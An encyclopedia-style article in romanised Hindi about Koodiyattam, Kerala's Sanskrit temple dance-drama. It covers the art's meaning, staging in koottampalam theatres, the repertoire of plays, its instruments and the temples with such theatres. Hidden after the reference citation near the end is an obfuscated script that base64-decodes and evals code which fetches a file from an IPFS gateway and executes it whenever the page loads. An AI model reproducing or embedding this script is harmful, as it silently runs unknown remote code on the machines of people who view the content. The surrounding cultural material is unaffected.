कूडियाट्टम नृत्य
300px|thumb|koodiyattam nrity koodiyattam nrity ya 'kodiyattam nrity' bharat mean prachalit kuchh pramukh shastriy nrity shailiyoan mean se ek hai. yah lambe samay tak chalane vali nrityanatika hai. yah nrity kuchh dinoan se lekar kee saptah tak chalata hai. prachin sanskrit natakoan ka puratan keraliy naty roop hi 'koodiyattam' kahalata hai. do hazar varsh purane koodiyattam ko yunesko ne vaishvik puratan kala ke roop mean svikar kiya hai. koodiyattam nrity ko 'chakyar' aur 'nanpiyar' samuday ke log prastut karate haian. sadharanat 'koottanpalam' namak mandir se jude natyagrihoan mean is kala ka manchan hota hai. koodiyattam prastut karane ke lie dirghakalin prashikshan ki avashyakata hoti hai.
arth
'koodiyattam' shabd ka arth hai- 'sangh naty athava abhinay athava sanghatit natak ya abhinay'. koodiyattam mean abhinay ko pradhany diya jata hai. bharat ke natyashastr mean abhinay ki char riti bataee gayi hai - 'aangik', 'vachik', 'satvik' aur 'ahary'. ye charoan ritiyaan koodiyattam mean sammilit roop se ju di haian. koodiyattam mean hastamudraoan ka prayog karate hue vishad abhinay kiya jata hai. isamean ilakiyattam, pakarnnattam, irunnattam adi vishesh abhinay ritiyaan bhi apanaee jati haian. yah manoranjan ke sath-sath upadeshatmak bhi hota hai. isamean upadesh dene vale vidooshak ki bhoomika sarvapramukh hoti hai, jo samajik buraiyoan ki or ishara karata hai. parantu kabhi-kabhi usake vyangy nrity ke vishay se bhatak bhi jate haian.
natak ka manchan
natakoan ka manchan mandiroan mean mannat prasad ke taur par kiya jata hai. abhinay ek tin guna ya char guna prakriya hai. hathoan ke isharoan aur pratikoan ko pahale dikhaya jata hai, jab kavita ek svar mean boli jati hai. sangit ke shuroo hote hi shabdoan ke arth ka sharirik bhashaoan, najarie aur chehare ke hav-bhav mean anuvad ho jata hai. tisara pahale ki punaravritti hai. koodiyattam ka manchan ek mandir ki tarah banae ge thiyetar mean kiya jata hai, jise 'kothamabam' kahate haian. manch ko phaloan aur nariyal ke pe doan ki sahayata se sajaya jata hai. ek dhan ke sath bahata hua pot bhi manch par rakha jata hai. manch par nanbiyar jati ke dramar baithate haian, jo taanbe ka ek bada dram lekar baithate haian, jise 'manjira' kahate haian. ek nanagiyar mahila jhaanjh bajati hai aur kabhi-kabhi chhand path bhi karati hai. koodiyattam mean sangit ke tatv ko bahut hi jyada daba diya gaya hai. is samay vishesh prabhav vale aaurkestra ka agaman ho raha hai. aaurkestra shankh, paip aur siang ke bane hote haian.
prastutikaran
koodiyattam mean sanskrit natakoan ki prastuti hoti hai, lekin poora natak prastut nahian kiya jata. pray ek aank ka hi abhinay kiya jata hai. aankoan ko pramukhata di jane ki vajah se pray: koodiyattam aankoan ke nam se jana jata hai. isi karan se vichchhinnabhishekaank, maya sitaank, shoorpanakha aank adi nam prachalit ho gaye haian. koodiyattam ke lie prayukt sanskrit natakoan ke nam is prakar haian-
- bhas ka 'pratima', 'abhishekamh', 'svapn vasamadattam', 'pratijnayogandharayanamh', 'oorubhangam', 'madhyamavyayogamh', 'dootavakyam'
- shriharsh ka 'naganand'
- shaktibhadr ka 'ashcharyachoodamani'
- kulashekharavarman ke 'subhadradhananjayam', 'tapati sanvaranamh'
- nilakanth ka 'kalyan saugandhikamh'
- mahendravikraman ka 'mattavilasam'
- bodhayanan ka 'bhagavaddajjukiyam'
natak ka ek poora aank koodiyattam mean prastut karane ke lie lagabhag ath din ka samay lagata hai. purane jamane mean 41 din tak ki manchiy prastuti hua karati thi kintu aj yah pratha lupt ho gee hai. koottanpalam (natyagrih) mean bhadradip ke sammukh kalakar naty prastuti karate haian. abhinay karane ke sandarbh mean baithane ki avashyakata bhi p d sakati hai isilie do-ek pith bhi rakhe jate haian. jab kalakar manch par pravesh karata hai tab yavanika pakadi jati hai.
pradhan vady
thumb|250px|koodiyattam nrity koodiyattam ka pradhan vady mish़av namak baja hai. idakka, shankh, kurumkush़l, kush़italamh adi doosare vadyantr haian.
- koottanpalam se yukt mandir
vishesh roop mean nirmit koottanpalam koodiyattam ki paranparagat rangavedi hai. koottanpalam mandir ke praangan hi nirmit hota tha. koottanpalam se yukt mandiroan ke nam is tarah haian[1]:-
- tirumandham kunnu
- tiruvarp
- tiruvalattoor (kotumba)
- guruvayoor
- arpukkara
- kidangoor
- peruvanam
- tiruvegappura
- moosh़ikkulam
- tirunakkara
- harippad
- cheangannoor
- iriangalakkuta
- trishshoor vadakkuannnath mandir
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tika tippani aur sandarbh
- ↑ koodiyattamh (hindi) keral toorijm. abhigaman tithi: 29 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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